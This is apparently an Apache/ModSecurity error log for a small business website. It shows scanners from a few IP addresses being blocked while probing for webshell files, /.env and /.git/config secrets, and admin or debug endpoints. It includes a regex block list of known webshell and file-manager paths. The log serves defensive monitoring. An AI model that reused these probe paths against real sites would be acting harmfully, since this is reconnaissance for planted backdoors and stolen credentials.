[Wed Apr 15 19:33:59.471075 2026] [:error] [pid 30956:tid 30968] [client 51.12.94.16:12970] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/66.php"] [unique_id "ad93p0BGUpjaWntNYq1kYQAAAAg"]
[Wed Apr 15 19:34:00.023219 2026] [:error] [pid 30956:tid 30970] [client 51.12.94.16:13389] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/66.php"] [unique_id "ad93qEBGUpjaWntNYq1kZQAAAAo"]
[Wed Apr 15 19:34:00.630085 2026] [:error] [pid 37370:tid 37373] [client 51.12.94.16:1072] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "ad93qHg-gnM2Ga0cGAASWwAAAQE"]
[Wed Apr 15 19:34:01.734080 2026] [:error] [pid 31053:tid 31074] [client 51.12.94.16:9464] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "ad93qRcEkLCmvF0fjDey8QAAAJI"]
[Wed Apr 15 19:34:02.930621 2026] [:error] [pid 31053:tid 31065] [client 51.12.94.16:12870] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "ad93qhcEkLCmvF0fjDey9wAAAIk"]
[Wed Apr 15 19:34:03.481548 2026] [:error] [pid 31053:tid 31066] [client 51.12.94.16:13590] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "ad93qxcEkLCmvF0fjDey-wAAAIo"]
[Wed Apr 15 19:34:04.285243 2026] [:error] [pid 30958:tid 31038] [client 51.12.94.16:8801] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws88.php"] [unique_id "ad93rMeG3wSKTO7NWFGRnQAAANY"]
[Wed Apr 15 19:34:05.090942 2026] [:error] [pid 30957:tid 30992] [client 51.12.94.16:13733] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws88.php"] [unique_id "ad93rX5gwVEVXHfVSip0egAAAEM"]
[Wed Apr 15 19:34:05.842743 2026] [:error] [pid 31053:tid 31074] [client 51.12.94.16:14557] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws88.php"] [unique_id "ad93rRcEkLCmvF0fjDezAAAAAJI"]
[Wed Apr 15 19:34:07.004970 2026] [:error] [pid 31053:tid 31067] [client 51.12.94.16:11684] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ws88.php"] [unique_id "ad93rxcEkLCmvF0fjDezBQAAAIs"]
[Wed Apr 15 19:34:07.935075 2026] [:error] [pid 31053:tid 31056] [client 51.12.94.16:14167] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mode.php"] [unique_id "ad93rxcEkLCmvF0fjDezCQAAAIA"]
[Wed Apr 15 19:34:08.636491 2026] [:error] [pid 30957:tid 31002] [client 51.12.94.16:13722] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mode.php"] [unique_id "ad93sH5gwVEVXHfVSip0fAAAAE0"]
[Wed Apr 15 19:34:09.739476 2026] [:error] [pid 31053:tid 31080] [client 51.12.94.16:10651] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mode.php"] [unique_id "ad93sRcEkLCmvF0fjDezDgAAAJg"]
[Wed Apr 15 19:34:10.902768 2026] [:error] [pid 30956:tid 30971] [client 51.12.94.16:12139] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/mode.php"] [unique_id "ad93skBGUpjaWntNYq1khgAAAAs"]
[Wed Apr 15 19:34:11.455548 2026] [:error] [pid 30956:tid 30961] [client 51.12.94.16:12193] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/set.php"] [unique_id "ad93s0BGUpjaWntNYq1kiAAAAAE"]
[Wed Apr 15 19:34:12.311023 2026] [:error] [pid 37370:tid 37390] [client 51.12.94.16:14193] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/set.php"] [unique_id "ad93tHg-gnM2Ga0cGAASmwAAARI"]
[Wed Apr 15 19:34:13.309967 2026] [:error] [pid 37370:tid 37393] [client 51.12.94.16:12790] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/set.php"] [unique_id "ad93tXg-gnM2Ga0cGAASogAAARU"]
[Wed Apr 15 19:34:14.107078 2026] [:error] [pid 37370:tid 37379] [client 51.12.94.16:16642] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/set.php"] [unique_id "ad93tng-gnM2Ga0cGAASpAAAAQc"]
[Wed Apr 15 19:34:14.860678 2026] [:error] [pid 37370:tid 37392] [client 51.12.94.16:8302] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hroxw.php"] [unique_id "ad93tng-gnM2Ga0cGAASqgAAARQ"]
[Wed Apr 15 19:34:15.590748 2026] [:error] [pid 30956:tid 30982] [client 51.12.94.16:12080] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hroxw.php"] [unique_id "ad93t0BGUpjaWntNYq1kiwAAABY"]
[Wed Apr 15 19:34:16.145889 2026] [:error] [pid 37370:tid 37395] [client 51.12.94.16:18390] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hroxw.php"] [unique_id "ad93uHg-gnM2Ga0cGAAStwAAARc"]
[Wed Apr 15 19:34:16.830678 2026] [:error] [pid 37370:tid 37384] [client 51.12.94.16:16549] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/hroxw.php"] [unique_id "ad93uHg-gnM2Ga0cGAASuwAAAQw"]
[Wed Apr 15 19:34:17.472567 2026] [:error] [pid 31053:tid 31064] [client 51.12.94.16:1899] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ok.php"] [unique_id "ad93uRcEkLCmvF0fjDezGQAAAIg"]
[Wed Apr 15 19:34:18.291775 2026] [:error] [pid 30957:tid 30993] [client 51.12.94.16:6649] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ok.php"] [unique_id "ad93un5gwVEVXHfVSip0iAAAAEQ"]
[Wed Apr 15 19:34:19.127622 2026] [:error] [pid 31053:tid 31066] [client 51.12.94.16:6330] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ok.php"] [unique_id "ad93uxcEkLCmvF0fjDezHQAAAIo"]
[Wed Apr 15 19:34:19.695401 2026] [:error] [pid 30956:tid 30970] [client 51.12.94.16:16531] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ok.php"] [unique_id "ad93u0BGUpjaWntNYq1kjgAAAAo"]
[Wed Apr 15 19:34:20.433841 2026] [:error] [pid 31053:tid 31064] [client 51.12.94.16:6288] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/zoo.php"] [unique_id "ad93vBcEkLCmvF0fjDezJQAAAIg"]
[Wed Apr 15 19:34:21.073120 2026] [:error] [pid 30958:tid 31030] [client 51.12.94.16:16542] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/zoo.php"] [unique_id "ad93vceG3wSKTO7NWFGRrwAAAM4"]
[Wed Apr 15 19:34:21.985131 2026] [:error] [pid 30958:tid 31021] [client 51.12.94.16:8734] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/zoo.php"] [unique_id "ad93vceG3wSKTO7NWFGRsQAAAMU"]
[Wed Apr 15 19:34:22.711119 2026] [:error] [pid 37370:tid 37378] [client 51.12.94.16:8405] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/zoo.php"] [unique_id "ad93vng-gnM2Ga0cGAASzgAAAQY"]
[Wed Apr 15 19:34:23.596549 2026] [:error] [pid 31053:tid 31064] [client 51.12.94.16:8743] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gaza.php"] [unique_id "ad93vxcEkLCmvF0fjDezLAAAAIg"]
[Wed Apr 15 19:34:24.524521 2026] [:error] [pid 31053:tid 31071] [client 51.12.94.16:11093] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gaza.php"] [unique_id "ad93wBcEkLCmvF0fjDezMAAAAI8"]
[Wed Apr 15 19:34:25.230330 2026] [:error] [pid 30958:tid 31029] [client 51.12.94.16:19084] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gaza.php"] [unique_id "ad93wceG3wSKTO7NWFGRuAAAAM0"]
[Wed Apr 15 19:34:26.040619 2026] [:error] [pid 30956:tid 30969] [client 51.12.94.16:17465] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/gaza.php"] [unique_id "ad93wkBGUpjaWntNYq1kkQAAAAk"]
[Wed Apr 15 19:34:26.594461 2026] [:error] [pid 30956:tid 30971] [client 51.12.94.16:8389] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/retu11.PhP7"] [unique_id "ad93wkBGUpjaWntNYq1klAAAAAs"]
[Wed Apr 15 19:34:27.437515 2026] [:error] [pid 30958:tid 31039] [client 51.12.94.16:11134] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/retu11.PhP7"] [unique_id "ad93w8eG3wSKTO7NWFGRvwAAANc"]
[Wed Apr 15 19:34:28.145498 2026] [:error] [pid 31053:tid 31065] [client 51.12.94.16:1907] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/retu11.PhP7"] [unique_id "ad93xBcEkLCmvF0fjDezMgAAAIk"]
[Wed Apr 15 19:34:29.045185 2026] [:error] [pid 30956:tid 30978] [client 51.12.94.16:1919] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/retu11.PhP7"] [unique_id "ad93xUBGUpjaWntNYq1klwAAABI"]
[Wed Apr 15 19:34:29.730802 2026] [:error] [pid 37370:tid 37379] [client 51.12.94.16:1868] [client 51.12.94.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "www.agraphics.com.au"] [uri "/fm.php"] [unique_id "ad93xXg-gnM2Ga0cGAAS4gAAAQc"]
[Wed Apr 15 19:34:30.336430 2026] [:error] [pid 31053:tid 31077] [client 51.12.94.16:1898] [client 51.12.94.16] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ioxi001.PhP7"] [unique_id "ad93xhcEkLCmvF0fjDezNgAAAJU"]
[Wed Apr 15 19:34:32.632628 2026] [proxy_fcgi:error] [pid 31053:tid 31066] [client 51.12.94.16:16857] AH01071: Got error 'Primary script unknown'
[Thu Apr 16 00:06:44.467772 2026] [authz_core:error] [pid 30956:tid 30969] [client 157.245.204.205:39502] AH01630: client denied by server configuration: /home/agraphicscom/public_html/server-status
[Thu Apr 16 00:06:44.737904 2026] [authz_core:error] [pid 30956:tid 30978] [client 159.223.132.86:49586] AH01630: client denied by server configuration: /home/agraphicscom/public_html/server-status
[Thu Apr 16 00:06:49.266863 2026] [:error] [pid 37370:tid 37374] [client 157.245.204.205:39554] [client 157.245.204.205] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "ad-3mXg-gnM2Ga0cGACz1AAAAQI"]
[Thu Apr 16 00:06:50.026038 2026] [:error] [pid 30958:tid 31034] [client 159.223.132.86:49508] [client 159.223.132.86] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.env"] [unique_id "ad-3mseG3wSKTO7NWFH2fAAAANI"]
[Thu Apr 16 00:06:53.268496 2026] [:error] [pid 23913:tid 23920] [client 157.245.204.205:39200] [client 157.245.204.205] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "ad-3nVUaK3MLdSaLOyjszwAAAUU"]
[Thu Apr 16 00:06:54.022812 2026] [:error] [pid 37370:tid 37395] [client 159.223.132.86:49560] [client 159.223.132.86] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.git/config"] [unique_id "ad-3nng-gnM2Ga0cGACz3gAAARc"]
[Thu Apr 16 00:06:55.757263 2026] [:error] [pid 37370:tid 37388] [client 157.245.204.205:39258] [client 157.245.204.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/s/4313e2232313e243e2330313/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties"] [unique_id "ad-3n3g-gnM2Ga0cGACz6gAAARA"]
[Thu Apr 16 00:06:56.734448 2026] [:error] [pid 23913:tid 23920] [client 157.245.204.205:39272] [client 157.245.204.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/config.json"] [unique_id "ad-3oFUaK3MLdSaLOyjs4AAAAUU"]
[Thu Apr 16 00:06:57.028012 2026] [:error] [pid 31053:tid 31073] [client 159.223.132.86:49632] [client 159.223.132.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/api/gql"] [unique_id "ad-3oRcEkLCmvF0fjDdmpwAAAJE"]
[Thu Apr 16 00:06:57.601380 2026] [:error] [pid 30956:tid 30967] [client 159.223.132.86:49650] [client 159.223.132.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/s/4313e2232313e243e2330313/_/;/META-INF/maven/com.atlassian.jira/jira-webapp-dist/pom.properties"] [unique_id "ad-3oUBGUpjaWntNYq2sxQAAAAc"]
[Thu Apr 16 00:06:57.734869 2026] [:error] [pid 23913:tid 23923] [client 157.245.204.205:39282] [client 157.245.204.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/telescope/requests"] [unique_id "ad-3oVUaK3MLdSaLOyjs4gAAAUg"]
[Thu Apr 16 00:06:58.537140 2026] [:error] [pid 37370:tid 37389] [client 159.223.132.86:49666] [client 159.223.132.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/config.json"] [unique_id "ad-3ong-gnM2Ga0cGACz9QAAARE"]
[Thu Apr 16 00:06:58.734663 2026] [:error] [pid 23913:tid 23924] [client 157.245.204.205:39290] [client 157.245.204.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "ad-3olUaK3MLdSaLOyjs5wAAAUk"]
[Thu Apr 16 00:06:59.550172 2026] [:error] [pid 37370:tid 37388] [client 159.223.132.86:41874] [client 159.223.132.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/telescope/requests"] [unique_id "ad-3o3g-gnM2Ga0cGACz-AAAARA"]
[Thu Apr 16 00:06:59.734623 2026] [:error] [pid 37370:tid 37391] [client 157.245.204.205:39298] [client 157.245.204.205] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/security.txt"] [unique_id "ad-3o3g-gnM2Ga0cGACz-QAAARM"]
[Thu Apr 16 00:07:00.512281 2026] [:error] [pid 37370:tid 37372] [client 159.223.132.86:41902] [client 159.223.132.86] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/info.php"] [unique_id "ad-3pHg-gnM2Ga0cGACz_wAAAQA"]
